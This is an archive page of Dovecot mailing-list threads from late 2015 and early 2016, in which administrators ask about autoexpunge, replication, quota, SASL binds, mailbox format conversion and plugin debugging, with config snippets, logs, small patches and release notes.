Hi. I have Dovecot + Postfix + MySQL. Version of Postix: postfix_2.11.3-1ubuntu1_amd64 Version of Dovecot: 2.2.9 Operations system is: Ubuntu 15.04 x64 Postfix have patched (patch VDA - http://vda.sourceforge.net) for using with quota, it means that file "maildirsize" in mail directory already exists and changed when add/delete mail.

Hi,according to this page: http://wiki2.dovecot.org/SSL/SNIClientSupport (last change 2013) I would like to know if this limitation is still valid. # dovecot --version2.0.9 I am trying to configure Android default email client and I am not able at all to use TLS. With other clients I have no problem, so I think my server configuration is ok. Thank you

autoexpunge problems
by Olaf Hopp 12 Jan '16

12 Jan '16

Hello, I tried to use the new autoexpunge for my Trash folders I had in 15-mailboxes.conf mailbox Trash { special_use = \Trash auto = subscribe } (dovecot -n of the original config is below) and added just the line autoexpunge = 1h Just a short period on my test system. But it failed. In the log I see Dec 18 10:54:07 irams2 dovecot: imap(ms2test): Error: Failed to autoexpunge mailbox 'Trash': Invalid mailbox name 'Trash': Missing namespace prefix 'INBOX.' But in 10-mail.conf I have namespace inbox { prefix = INBOX. separator = . inbox = yes } So I changed the line "mailbox Trash" to "mailbox INBOX.Trash". I now have mailbox INBOX.Trash { special_use = \Trash auto = subscribe autoexpunge = 1h } Now it seems to work (Trash is emptied, log file is fine) but in the mail client I see two Trash folders. Once the normal one below INBOX and another one also called Trash which is under a new created folder named INBOX below the original INBOX Thus I have INBOX INBOX.Trash INBOX.INBOX.Trash autoexpunge seems to work, but this is not what I like to offer to my users.

Problems with doveadm backup in a dovecot director environment
by Tobi 12 Jan '16

12 Jan '16

Hi list I have configured my dovecot(s) in a frontend-backend setup using the director feature of dovecot. Works like charm, but I'm currently unable to use doveadm backup to "sync" the mailbox to a dovecot system which is not within director_mail_servers settings Before I added the director feature I could fire a simple doveadm backup -u myuser(a)mydomain.tld tcps:otherserver.mydomain.tld:2424 After activating the director the command above fails as the connection is always tried to be established to one of the servers specified in director_mail_servers. Is it possible to use doveadm backup towards a server which is not in director_mail_servers? I tried with the -o option of doveadm to override several settings like host or director_mail_servers but no success: the command still tries to connect to an ip from director_mail_servers and not to the destination given as parameter to the command. Is there anyway to achieve that? Thanks a lot for any help tobi

client setting "move to trash" in shared mailboxes
by Steffen Kaiser 12 Jan '16

12 Jan '16

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, does somebody run clients with "move to trash" on delete in conjunction with shared mailboxes successfully? When one tries to delete a mailbox in the shared namespace, Dovecot responds with "Can't rename mailboxes across specified storages" OK, the failure stems from the fact that the client (Thunderbird) tries to rename the mailbox into "Trash.mailbox" with the user's private namespace. Does somebody know of an AddOn to have Thunderbird move mailboxes into the shared user's Trash, for example? Does somebody uses "mark as deleted", but use a virtual folder as Trashbin? What option would I have, if the users expect a "trashbin" of some sort? - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVpTAJHz1H7kL/d9rAQI3twgAsmZdUdYzwQ200j2ILE2XhG3Iy7oFSWd4 YrmOdw09Fr8JtrQIcsbu8BZyyBOse9CLNICQFkmfsSBEXSFX1v5IGfH98RcvhgaM pQwdY1SMctkI4nJHWkJFjC+SCQlDZmV6MVZD7pv+7VDjvvvh/jr0b/uQunYvPLle BEbz1hSssY8bFmWhZxddydzsYgQfFIHUR2VsINd/YHPZlUjJQUqkPwbmDZ4XVN+P WHXYaR4uhrn5arpibk0x5PG/9wlnQvMkStN/kZNBS4jfsKLz6RTQhKgeNmKXyoZD mjUK5r57GkU0MdrRNqQqbgOIrU9V0h1oBH7PFjVoaddw0pYECPlbuw== =hwNa -----END PGP SIGNATURE-----

password schemes when crypt() has no DES
by Stuart Henderson 12 Jan '16

12 Jan '16

https://github.com/dovecot/core/commit/54a1b3574acab5f778843f7f1e04d2d26d61… fixed a 'doveadm pw' crash "when trying to use CRYPT scheme when crypt() doesn't support DES" by testing to see if crypt would generate a DES password and, if not, disabling the scheme. I'm using Dovecot on OpenBSD with bcrypt passwords stored in LDAP as "{CRYPT}$2b$...". OpenLDAP is built with --enable-crypt which takes the same approach as Dovecot of just passing to crypt(), so before the above commit, both programs were able to authenticate. (Changing the scheme value stored in the ldap passdb to BLF-CRYPT would fix Dovecot but break things for other programs including OpenLDAP itself). For now I went with a dirty patch to get things working again, does anyone have an idea for a nicer fix? Thanks. --- src/auth/password-scheme-crypt.c.orig Fri Jan 8 01:04:13 2016 +++ src/auth/password-scheme-crypt.c Fri Jan 8 01:23:35 2016 @@ -111,7 +111,12 @@ static const struct { const char *salt; const char *expected; } sample[] = { +#ifdef __OpenBSD__ + { "08/15!test~4711", "$2a$04$0123456789abcdefABCDEF", + "$2a$04$0123456789abcdefABCDE.N.drYX5yIAL1LkTaaZotW3yI0hQhZru" }, +#else { "08/15!test~4711", "JB", "JBOZ0DgmtucwE" }, +#endif { "08/15!test~4711", "$2a$04$0123456789abcdefABCDEF", "$2a$04$0123456789abcdefABCDE.N.drYX5yIAL1LkTaaZotW3yI0hQhZru" }, { "08/15!test~4711", "$5$rounds=1000$0123456789abcdef", @@ -124,8 +129,13 @@ static const struct { /* keep in sync with the sample struct above */ static const struct password_scheme crypt_schemes[] = { +#ifdef __OpenBSD__ { "CRYPT", PW_ENCODING_NONE, 0, crypt_verify, + crypt_generate_blowfisch }, +#else + { "CRYPT", PW_ENCODING_NONE, 0, crypt_verify, crypt_generate_des }, +#endif { "BLF-CRYPT", PW_ENCODING_NONE, 0, crypt_verify, crypt_generate_blowfisch }, { "SHA256-CRYPT", PW_ENCODING_NONE, 0, crypt_verify,

Dovecot code repository moved to Github
by Timo Sirainen 11 Jan '16

11 Jan '16

http://hg.dovecot.org/ is no longer being updated. The public repository exists now in https://github.com/dovecot/core instead. I'm not sure yet if we should continue pushing commit emails to dovecot-cvs list or if Github's internal notifications are enough. In any case dovecot-cvs list isn't working right now.

Enterprise Repository Access?
by Ben Johnson 10 Jan '16

10 Jan '16

Hello! I apologize if this has been asked already. (I did search before posting...) Is it still possible to obtain access to Dovecot's Enterprise Repository, for Ubuntu and Debian, at no cost? When last I registered for such access, I recall there being a "mock product" in the Dovecot Store that provided no-cost access to this repository. Any information in this regard is very much appreciated. Thank you in advance! -Ben

Directory delivery discombobulation
by mdb＠primelogic.com 09 Jan '16

09 Jan '16

Greetings, On a server running FreeBSD 8.2, I'm configuring Postfix 2.8.0 and Dovecot 1.2.16, using Dovecot for SASL and LDA. For reasons I won't go into, I don't want to upgrade anything on the server to current versions. I'm configuring for maildir with virtuals. Here's the directory structure I want to use: /usr/vmail/domain/username/cur,new,tmp And here's where Dovecot is delivering mail: /usr/vmail/domain/user/Maildir/cur,new,tmp Oddly, the first time I connected with Thunderbird (configured for IMAP), the following directories were created in /usr/vmail/domain/user/, i.e., below Maildir: .INBOX.Drafts .INBOX.Sent .Junk .Trash Thunderbird can see sent mail in .INBOX.Sent, but it can't see any mail in Maildir. Obviously, something is amiss in my configuration. Here's the dovecot -n output: # 1.2.16: /usr/local/etc/dovecot.conf # OS: FreeBSD 8.2-RELEASE i386 ufs protocols: imap pop3 ssl: no disable_plaintext_auth: no login_dir: /var/run/dovecot/login login_executable(default): /usr/local/libexec/dovecot/imap-login login_executable(imap): /usr/local/libexec/dovecot/imap-login login_executable(pop3): /usr/local/libexec/dovecot/pop3-login verbose_proctitle: yes first_valid_uid: 1000 first_valid_gid: 1000 mail_privileged_group: mail mail_location: maildir:/home/vmail/%d/%n maildir_very_dirty_syncs: yes mail_executable(default): /usr/local/libexec/dovecot/imap mail_executable(imap): /usr/local/libexec/dovecot/imap mail_executable(pop3): /usr/local/libexec/dovecot/pop3 mail_plugin_dir(default): /usr/local/lib/dovecot/imap mail_plugin_dir(imap): /usr/local/lib/dovecot/imap mail_plugin_dir(pop3): /usr/local/lib/dovecot/pop3 imap_client_workarounds(default): delay-newmail netscape-eoh tb-extra-mailbox-sep imap_client_workarounds(imap): delay-newmail netscape-eoh tb-extra-mailbox-sep imap_client_workarounds(pop3): pop3_client_workarounds(default): pop3_client_workarounds(imap): pop3_client_workarounds(pop3): outlook-no-nuls oe-ns-eoh lda: sendmail_path: /usr/sbin/sendmail auth default: mechanisms: plain login username_format: %Lu passdb: driver: passwd-file args: /etc/dovecot/passwd userdb: driver: static args: uid=1000 gid=1000 home=/home/vmail/%d/%n socket: type: listen client: path: /var/spool/postfix/private/auth mode: 432 user: postfix group: postfix master: path: /var/run/dovecot/auth-master mode: 384 user: postfix group: postfix Note that I haven't defined mail_location as "maildir:~/Maildir," yet Dovecot is delivering to the Maildir directory (a directory I don't want). I'm not sure about the path in args: userdb: driver: static args: uid=1000 gid=1000 home=/home/vmail/%d/%n Here's the LDA config for virtuals in Postfix's master.conf: dovecot unix - n n - - pipe flags=DRhu user=vmail:vmail argv=/usr/local/libexec/dovecot/dovecot-lda -f ${sender} -d ${recipient} I'm also unsure about the home_mailbox value in Postfix's main.cf. The docs say this: " Specify "Maildir/" for qmail-style delivery (the / is required)." And there was no alternative listed, so that's what I used: home_mailbox = Maildir/ However, does it designate a directory named Maildir? Not sure if they're relevant, but here are some additional config lines from Postfix's main.cf virtual_mailbox_domains = /etc/postfix/vhosts virtual_mailbox_base = /home/vmail/ virtual_mailbox_maps = hash:/etc/postfix/vmaps virtual_minimum_uid = 1000 virtual_uid_maps = static:1000 virtual_gid_maps = static:1000 smtpd_sasl_type = dovecot # Can be an absolute path, or relative to $queue_directory smtpd_sasl_path = /var/spool/postfix/private/auth # and the common settings to enable SASL: smtpd_sasl_auth_enable = yes smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated,reject_unauth_destination Finally, "postconf -a" returns "dovecot," so SASL is copacetic. That's all I can think of that might be relevant. It sure would be nice if Dovecot would forget about the Maildir directory and deliver directly to the username/ directory so Thunderbird could access it, but other than setting the mail_location var to "maildir:/home/vmail/%d/%n," I'm at a loss. Thanks for your help. Doc

2.2.13 fts-squat corrupt uidlist - wrong indexid
by dilieto＠lineone.net 09 Jan '16

09 Jan '16

I have the same problem described in this old thread: http://dovecot.org/list/dovecot/2012-April/135162.html I have done some debugging, by adding log messages to squat_uidlist_map_header and squat_trie_refresh. I have found that the "wrong indexid" warning is always triggered under the following conditions - uidlist->hdr.indexid != 0 - uidlist->trie->hdr.indexid == 0 - squat_trie_is_file_stale(trie) == 0 In other words it looks like the squat_uidlist_map_header function is called with an uninitialized trie, an initialized header, and a current (not stale) file. Because of the latter, squat_trie_refresh never calls squat_trie_open, the trie stays uninitialized and later triggers the warning. In addition the search results will only include mails added to the mailbox after the warning. By replacing the call to squat_trie_refresh with squat_trie_open in squat_uidlist_map_header, the warning no longer happens. Patch is attached. I am not sure this is the correct way of fixing the problem, but it works reliably.

Released Pigeonhole v0.4.11 for Dovecot v2.2.21
by Stephan Bosch 08 Jan '16

08 Jan '16

Hello Dovecot users, Here is the final v0.4.11 release of Pigeonhole for Dovecot v2.2.21. Nothing of consequence changed since the RC. Changelog v0.4.11: - Sieve mime extension: Fixed the header :mime :anychild test to work properly outside a foreverypart loop. - Several fixes in message body part handling: - Fixed assert failure occurring when text extraction is attempted on an empty or broken text part. - Fixed assert failure in handling of body parts that are converted to text. - Fixed header unfolding for (mime) headers parsed from any mime part. - Fixed trimming for (mime) headers parsed from any mime part. - Fixed erroneous changes to the message part tree structure performed when re-parsing the message. - LDA Sieve plugin: Fixed logging of actions; sometimes the configured log format was not followed. - LDA Sieve plugin: Fixed bug in error handling of script storage initialization. - Sieve Extprograms plugin: Ignored ENOTCONN error in shutdown(fd, SHUT_WR) call. - Fixed duplication of discard actions in the script result. Each discard was counted as a separate action, which means that action limit would be crossed too early. - Made sure that quota errors never get logged as errors in syslog. - Fixed handling of implicit keep for a partially executed transaction that yielded a temporary failure. - Fixed handling of global errors. If master and user error handler were identical, in some cases the log message could be lost. - Fixed AIX compile issue in message body parser. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.ta… http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.11.ta… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

[0:root@elmo ~]$ rpm -q dovecot dovecot-2.2.18-2.fc22.x86_64 I got a surprise today when I tried the doveadm search function from: http://wiki2.dovecot.org/Plugins/Expire [0:root@elmo ~]$ doveadm search -A mailbox Trash savedbefore 30d doveadm(clamscan): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=982(clamscan) egid=289(clamscan) missing +w perm: /, dir owned by 0:0 mode=0555) doveadm(clamscan): Error: User init failed doveadm(nm-openconnect): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=986(nm-openconnect) egid=293(nm-openconnect) missing +w perm: /, dir owned by 0:0 mode=0555) doveadm(nm-openconnect): Error: User init failed doveadm(openvpn): Error: User initialization failed: Namespace '': mkdir(/etc/openvpn/Maildir) failed: Permission denied (euid=987(openvpn) egid=296(openvpn) missing +w perm: /etc/openvpn, dir owned by 0:0 mode=0755) doveadm(openvpn): Error: User init failed .. plus several more I wouldn't think the search function (or any operation) would try to create mailboxes. These are system user ids that don't have or need mailboxes. Is this correct? Bill

doveadm import - strange warning
by Ralf Hildebrandt 08 Jan '16

08 Jan '16

I'm using the doveadm import command to extract mails from my backup: % doveadm import -u restore(a)backup.invalid mdbox:/home/copymail/mdbox "" \ mailbox INBOX header Delivered-To backup+$SEARCHPATTERN(a)backup.invalid This works like a charm, I'm getting all the mails, and I can access the newly generated mailbox. But when executing the command I'm getting an annoying warning: doveadm(restore(a)backup.invalid): Error: chdir(/root/) failed: Permission denied (euid=1001(copymail) egid=1001(copymail) missing +x perm: /root, dir owned by 0:0 mode=0700) doveadm(restore(a)backup.invalid): Error: chdir(/root) failed: Permission denied I'm using a file based authentication: # cat passwd restore@backup.invalid:{SHA}+/...the.hash...:1001:1001:(gecos):/home/restore:: So why is "restore(a)backup.invalid" being associated with /root?

strange interaction with MacOSX calendar server
by Jim Reid 08 Jan '16

08 Jan '16

I’ve installed and configured Apple’s calendar server. It seems to be working just fine. However it keeps trying to speak to my IMAP server — don’t know why — and the authentication attempts fail every 30 seconds or so. Here’s what’s in the calendar server logs: 2016-01-07 22:42:38+0000 [-] [caldav-1] [IMAP4DownloadProtocol (TLSMemoryBIOProtocol),client] [txdav.caldav.datastore.scheduling.imip.inbound.IMAP4DownloadProtocol#error] IMAP login failed for com.apple.calendarserver 2016-01-07 22:43:08+0000 [-] [caldav-1] [IMAP4DownloadProtocol (TLSMemoryBIOProtocol),client] [txdav.caldav.datastore.scheduling.imip.inbound.IMAP4DownloadProtocol#error] IMAP login failed for com.apple.calendarserver 2016-01-07 22:43:39+0000 [-] [caldav-1] [IMAP4DownloadProtocol (TLSMemoryBIOProtocol),client] [txdav.caldav.datastore.scheduling.imip.inbound.IMAP4DownloadProtocol#error] IMAP login failed for com.apple.calendarserver And in dovecot’s logs I see: Jan 7 22:47:43 hutch dovecot[63067]: imap-login: Disconnected (auth failed, 2 attempts in 4 secs): user=<com.apple.calendarserver>, method=PLAIN, rip=195.54.233.70, lip=195.54.233.70, TLS, session=<wkMAQsYoVADDNulG> Jan 7 22:48:10 hutch dovecot[63067]: auth-worker(65378): Error: pam(com.apple.calendarserver,195.54.233.70): pam_acct_mgmt() failed: permission denied Jan 7 22:48:14 --- last message repeated 1 time --- Jan 7 22:48:14 hutch dovecot[63067]: imap-login: Disconnected (auth failed, 2 attempts in 4 secs): user=<com.apple.calendarserver>, method=PLAIN, rip=195.54.233.70, lip=195.54.233.70, TLS, session=<dSvTQ8YoXQDDNulG> Jan 7 22:48:40 hutch dovecot[63067]: auth-worker(65378): Error: pam(com.apple.calendarserver,195.54.233.70): pam_acct_mgmt() failed: permission denied Jan 7 22:48:44 --- last message repeated 1 time — I tweaked dovecot to use AUTH PLAIN as well as CRAM-MD5.

Thanks. The endless error messages in the log don’t seem to be causing any problems to either the mail setup or the calendaer server. Famous last words… However they are a bit annoying and probably point to an underlying problem or misconfiguration that really should be fixed. By the way, the password used by the calendar server is for my MacOSX login (which should be getting picked up via PAM, right?) while a different one is used for the SMTP/IMAP MD5 challenge-response. I hope someone can clear up my confusion.

Mapping of INBOX.INBOX breaks imapc_list_prefix=INBOX?
by Peer Heinlein 07 Jan '16

07 Jan '16

We're running a huge imapc-Migration from an old Courier-IMAP to Dovecot. Courier always uses "INBOX."-prefix for his folders, so we set namespace inbox { [...] separator = . prefix = INBOX. [...] } on our new Dovecot 2.2.20 system. And also we added: imapc_list_prefix=INBOX to avoid the dublication of the INBOX prefix. At the end, doveadm/dsync/imapc see "INBOX.Virus", adds his Prefix, has "INBOX.INBOX.Virus", deletes his imapc_list_prefix and the end we have "INBOX.Virus" again which is identical to the source folder from Courier. Works perfect BUT: It looks like there is a "hidden feature" in Dovecot that always maps "INBOX.INBOX" back to "INBOX". For me that looks like a workaround for broken mailclients to fix some of the common problems after changing the namespace prefix. I never heard about that "hidden feature", but even if I don't (!) have INBOX.INBOX: root@imap01:~/MIGRATION # doveadm mailbox list -u test INBOX INBOX.Virus INBOX.Spam INBOX.Trash I'm always able to access INBOX.INBOX which is identical to INBOX: root@imap01:~/MIGRATION # doveadm fetch -u test uid mailbox INBOX.INBOX uid: 1 Looks like there is such a magic-mapping and looks like this "hard coded mapping" (?) breaks the imapc_list_prefix-magic. If the user has on the SOURCE-server (Courier): Source-Server: INBOX (5 messages) INBOX.Inbox (3 messages) and I do migrate that user using doveadm/dsync/imapc, this user has on the DESTINATION-server (Dovecot) Destination-server: INBOX (5 messages) INBOX.Inbox (5 messages from "real INBOX") and his 3 messages from INBOX.Inbox are lost. I can NOT find any errors in the debug/error-output of doveadm/dsync/imapc. From the view of doveadm everything worked perfect as you can see in the attached logfile. Or am I completly wrong?!

Replication - user permissions
by Petter Gunnerud 05 Jan '16

05 Jan '16

When setting up dsync for replication, what should the user permissions be for sync over ssh? I'm running virtual users only. Postfix and Dovecot services run as mail:mail. All the maildir folders are owned by mail:mail and permissions are 700. User mail is not allowed login. So whats the best practice in respect to security to allow for dsync over ssh? So of the options I consider: 1) change postfix/dovecot settings so that maildirs are created with 770 permissions, then create a user dsync:mail that is allowed for ssh login. 2) permit user mail to login using ssh 3)go with tcp sync rather than ssh Other suggestions?

Replication - hostname issue
by Petter Gunnerud 05 Jan '16

05 Jan '16

I have postfix/dovecot setup on a virtual gentoo server. It's been in service for almost two years without any issues. Now I want to set up a spare server to replicate mails from the one running. I copied the vm files to the second host server, changed the ip, hostname and hosts file for the copy and followed the dovecot replication doc. The last point in the doc tells to rundovecot --hostdomainto make sure the hostnames differ... To my surprise the command returned "localhost" on both servers. How do I set the hostname for dovecot service?(The hostname command returns the servers hostnames.)Will a change in dovecot hostname make all clients redownload all their mail? A second question. When configuring dovecot replication. Should the settings be done on the master server or the stand by server, or both? (Doc doesn't say anything regarding this) PG

2.2.21 imap core dump after enabling autoexpunge

postmaster domain
by Timothy Murphy 04 Jan '16

04 Jan '16

I recently upgraded a remote server to CentOS-7.2, after which email stopped coming through. I suspect that this was probably due to the fact that I had started a version of dovecot installed some time ago. I found messages in /var/log/maillog like Jan 4 12:56:56 alfred postfix/lmtp[7612]: 20A662202B4: to=<root(a)gayleard.eu>, relay=alfred.gayleard.eu[private/dovecot-lmtp], delay=34272, delays=34272/0.16/0.01/0.05, dsn=4.3.0, status=deferred (host alfred.gayleard.eu[private/dovecot-lmtp] said: 451 4.3.0 <root(a)gayleard.eu> Invalid user settings. Refer to server log for more information. (in reply to RCPT TO command)) Googling for this, I found the suggestion that one should insert the following postmaster_address line in /etc/dovecot/conf.d/20-lmtp protocol lmtp { postmaster_address = postmaster(a)alfred.eu # Space separated list of plugins to load (default is global ail_plugins). mail_plugins = $mail_plugins sieve } (alfred.eu being the server's domain). This seems to have solved the problem, after re-starting dovecot. I'm wondering if this was an issue that arose some time ago, and if so whether my solution was the recommended one? -- Timothy Murphy gayleard /at/ eircom.net School of Mathematics, Trinity College, Dublin

Released Pigeonhole v0.4.11.rc1 for Dovecot v2.2.21
by Stephan Bosch 04 Jan '16

04 Jan '16

Hello Dovecot users, First, a happy new year to you all! :) In the last few weeks I got quite a few bug reports. I also found a few things myself. Some of the bugs are quite annoying, so a new release is necessary. First, I release RC1. If all is well, I'll release the definitive Pigeonhole v0.4.11 within the next few days. Changelog v0.4.11: - Sieve mime extension: Fixed the header :mime :anychild test to work properly outside a foreverypart loop. - Several fixes in message body part handling: - Fixed assert failure occurring when text extraction is attempted on an empty or broken text part. - Fixed assert failure in handling of body parts that are converted to text. - Fixed header unfolding for (mime) headers parsed from any mime part. - Fixed trimming for (mime) headers parsed from any mime part. - Fixed erroneous changes to the message part tree structure performed when re-parsing the message. - LDA Sieve plugin: Fixed logging of actions; sometimes the configured log format was not followed. - LDA Sieve plugin: Fixed bug in error handling of script storage initialization. - Sieve Extprograms plugin: Ignored ENOTCONN error in shutdown(fd, SHUT_WR) call. - Fixed duplication of discard actions in the script result. Each discard was counted as a separate action, which means that action limit would be crossed too early. - Made sure that quota errors never get logged as errors in syslog. - Fixed handling of implicit keep for a partially executed transaction that yielded a temporary failure. - Fixed handling of global errors. If master and user error handler were identical, in some cases the log message could be lost. - Fixed AIX compile issue in message body parser. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.11… http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.11… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

Howto get information about quota used

Hello guys! I have Dovecot server (version: 2.2.9) with quota and imap_quota plugins. I wanna know how to get information about quota used of current email. I can do this with IMAP client like Thunderbird, but how I can do it on server? doveconf -n | grep quota mail_plugins = quota, antispam quota = maildir:User quota_exceeded_message = Message quota_rule = *:storage=100M quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=80%% quota-warning 80 %u quota_warning3 = -storage=100%% quota-warning below %u service quota-warning { executable = /usr/local/bin/quota-warning.sh mail_plugins = quota imap_quota mail_plugins = quota sieve For each mailboxes I use quota limits from MySQL. -- С уважением, *Макаров Денис* *почта*: makarovdenis11(a)gmail.com <mailto:makarovdenis11@gmail.com> Best regards, *Makarov Denis* *email*: makarovdenis11(a)gmail.com <mailto:makarovdenis11@gmail.com>

SASL binds
by Brendan Kearney 01 Jan '16

01 Jan '16

i am looking to get SASL binds working in Dovecot for userdb lookups, and i am not sure what i might be doing wrong. Dovecot version - 2.2.19 running on Fedora 22. MIT Kerberos and OpenLDAP are being used. my LDAP configs: uris = ldap://server1.bpk2.com ldap://server2.bpk2.com sasl_bind = yes sasl_mech = gssapi sasl_realm = BPK2.COM sasl_authz_id = imap/imap.bpk2.com(a)BPK2.COM base = dc=bpk2,dc=com the above results in the below error logs: Jan 01 13:56:58 mail auth[16747]: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (No Kerberos credentials available) Jan 01 13:56:58 mail dovecot[16722]: auth-worker(16747): Error: LDAP: binding failed (dn (none)): Local error, SASL(-1): generic failure: GSSAPI Error: Unspecified GSS failure. Minor code may provide more information (No Kerberos credentials available) i am assuming the keytab, /etc/dovecot/dovecot.keytab would be used to bind to the directory, but i am not sure. the auth_krb5_keytab directive is set with the absolute path and keytab name. is there something i am missing, such as a /etc/sasl2/dovecot.conf file? in the directory, i am mapping the Kerberos ID to LDAP user object as such: uid=imap\/(.*).bpk2.com,cn=bpk2.com,cn=gssapi,cn=auth uid=mda,ou=processUsers,ou=Users,dc=bpk2,dc=com if i change the sasl_authz_id to uid=mda,ou=processUsers,ou=Users,dc=bpk2,dc=com, and restart dovecot, i still get the same error. can anyone shed light on where i am going wrong? thanks in advance, brendan

doveadm expunge no longer works
by Fabian Groffen 31 Dec '15

31 Dec '15

Heya, Just upgraded from 2.2.19 to dovecot-2.2.21 and noticed expunging mail no longer works. # doveadm expunge -u theuser MAILBOX spam all Fatal: expunge: To avoid accidents, each branch in search query must contain something else besides MAILBOX (e.g. just add "all" if you want everything) Clearly, I've already got all in there, so I tried capitalising, etc. Looking at the code, I see expunge_search_args_is_msgset_or_ok apparently is failing. I'm wondering if this function [1] is actually doing what it is supposed to do, since it uses return, instead a var to figure out whether it is ok or not. In my case, just because it finds MAILBOX it returns without looking whether there is any further arguments. Or am I missing the point here (and how should I expunge a folder of mail?) Thanks, Fabian [1] https://github.com/dovecot/core/blob/6971937a6f3e93844dbd43bdbe903628e21a94… -- Fabian Groffen Gentoo on a different level

Trying to make vnd.dovecot.filter to exchange an email with my script. (I have a vnd.dovecot.pipe script working, so I'm pretty sure it's not the configuration...)

Query regarding migration from Maillenium to Dovecot mail server
by Sirisha R 29 Dec '15

29 Dec '15

Hi, We have few queries regarding dovecot mail server. Our application used to supported maillenium mail server, but soon this server is going to retire. So we are planning to migrate our application mail server to dovecot for which we seek your help. Previously, the mailboxes that our application used to support were under att domain, then the mailboxes were migrated to maillenium mail server, and aliases of the existing att mailboxes were created by maillenium support group, so that any mail sent to the att mailbox automatically gets redirected to maillenium alias mailbox. For instance, for the mailbox abc.att.com, an alias was created as abc(a)maillenium.att.com<mailto:abc@maillenium.att.com>. Maillenium support group provided us mailServerHost, mailServerUsername and mailServerPassword. We seek your help in migrating from Maillenium mail system to Dovecot. Thanks & Regards, R Sirisha This message and the information contained herein is proprietary and confidential and subject to the Amdocs policy statement, you may review at http://www.amdocs.com/email_disclaimer.asp

Debug Dovecot Plugin (shared library)
by David Becher 24 Dec '15

24 Dec '15

Hey! I was just wondering what would be the best way to debug a plugin I am currently writing for dovecot. The plugin basically registers a new IMAP capability and I want to set a breakpoint to the "cmd_handle_new_capability" function (thats just a function name for better explaining purposes). Right now I have opened a connection via openssl ('openssl s_client -connect example:143 -starttls imap') to be able to mess around with the my server. Then I am able to login into the server via 'a login "username" "password"' and feed the server with my self created IMAP capability command. I know that I can start gdb and attach to an already running process via its PID. But how do I know which process I have to attach to? Looking at the output of 'top' it seems to be an instance of the 'imap' command PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 13413 vmail 20 0 21004 1844 1524 S 0.0 0.0 0:00.00 Iman But its only started the exact moment I issue my IMAP command towards the server, so of course I am not fast enough to track down the PID before the function has returned, so the process handling the command seems to be up only for the short period of time to handle the command, there is no process before which I can attach to. My current workaround is that I put a tail onto /var/log/mail.log and from within my shared library function (cmd_handle_new_capability) I log the PID of the current process, then sleep(10) for 10 seconds, which gives me enough time to have a look at mail.log to get to know the PID which I then can attach to. But isn't there a better way to do this? Maybe attach to the process which originally creates the new process handling the IMAP command and then stepping into it? I hope someone can help me out :) All the best, David

Dovecot 2.2.20 autoexpunge
by Robert Blayzor 23 Dec '15

23 Dec '15

I have configured autoexpunge on some folders: namespace inbox { inbox = yes location = mailbox Junk { auto = subscribe autoexpunge = 30 days special_use = \Junk } mailbox Trash { auto = subscribe autoexpunge = 2 weeks special_use = \Trash } prefix = separator = / } After adding these and restarting, logging in and out several times, I still see messages days/weeks past the autoexpunge setting. I checked the logs but never see any autoexpunge messages logged. Is there something else that needs to be set to trigger this? -- Robert inoc.net!rblayzor XMPP: rblayzor.AT.inoc.net PGP Key: 78BEDCE1 @ pgp.mit.edu

These are stored in Maildir format; here's a sample of how things look on disk at the moment: > /srv/mail/ > ├── .Alpha > │ ├── cur > │ │ └── 1450775948.M24820P23708.cht,S=8186,W=8360:2,S > │ ├── dovecot.index.cache > │ ├── dovecot.index.log > │ ├── dovecot-uidlist > │ ├── maildirfolder > │ ├── new > │ └── tmp > ├── cur > ├── dovecot.index.log > ├── dovecot-uidlist > ├── dovecot-uidvalidity > ├── dovecot-uidvalidity.5679158d > ├── maildirfolder > ├── .Mike > │ ├── cur > │ │ ├── 1450775948.M202327P23708.cht,S=8405,W=8576:2,S > │ │ ├── 1450775948.M257575P23708.cht,S=5590,W=5732:2,S > │ ├── dovecot.index.cache > │ ├── dovecot.index.log > │ ├── dovecot-uidlist > │ ├── maildirfolder > │ ├── new > │ └── tmp > ├── new > └── tmp I'm trying to convert these public mailboxes from Maildir to mdbox format. My end goal is a directory structure like the following. I obtained this example by emptying /srv/mail, changing `location = maildir:/srv/mail/' to use mdbox, and then delivering some messages into Public/Alpha and Public/Mike: > /srv/mail/ > ├── dovecot-uidvalidity > ├── dovecot-uidvalidity.567915fa > ├── mailboxes > │ ├── Alpha > │ │ └── dbox-Mails > │ │ ├── dovecot.index.cache > │ │ └── dovecot.index.log > │ ├── dbox-Mails > │ │ └── dovecot.index.log > │ └── Mike > │ └── dbox-Mails > │ ├── dovecot.index.cache > │ └── dovecot.index.log > └── storage > ├── dovecot.map.index.log > └── m.1 I know that dsync can be used to convert between mailbox formats, but is this possible in conjunction with namespaces? I can convert one of my mailboxes to an arbitrary mdbox location on disk using... > dsync -o mail_location=mdbox:/tmp/dbox/ mirror maildir:/srv/mail/.Mike/ ... although this puts the messages inside an INBOX mailbox: > /tmp/dbox/ > ├── mailboxes > │ └── INBOX > │ └── dbox-Mails > │ ├── dovecot.index.cache > │ └── dovecot.index.log > └── storage > ├── dovecot.map.index.log > └── m.1 I could run this once per public mailbox, writing each to a different mdbox location, but am unaware of a method to merge them such that they would work with my Public/ namespace. Is it possible to use dsync to convert my public Maildir mailboxes to mdbox, resulting in my desired directory structure above? I think I want to be able to tell dsync the location as a mailbox name, rather than a disk location, although this doesn't appear to be possible. If not, is there another solution? My best idea at the moment is to make the configuration change and then re-deliver all messages by mailbox name.
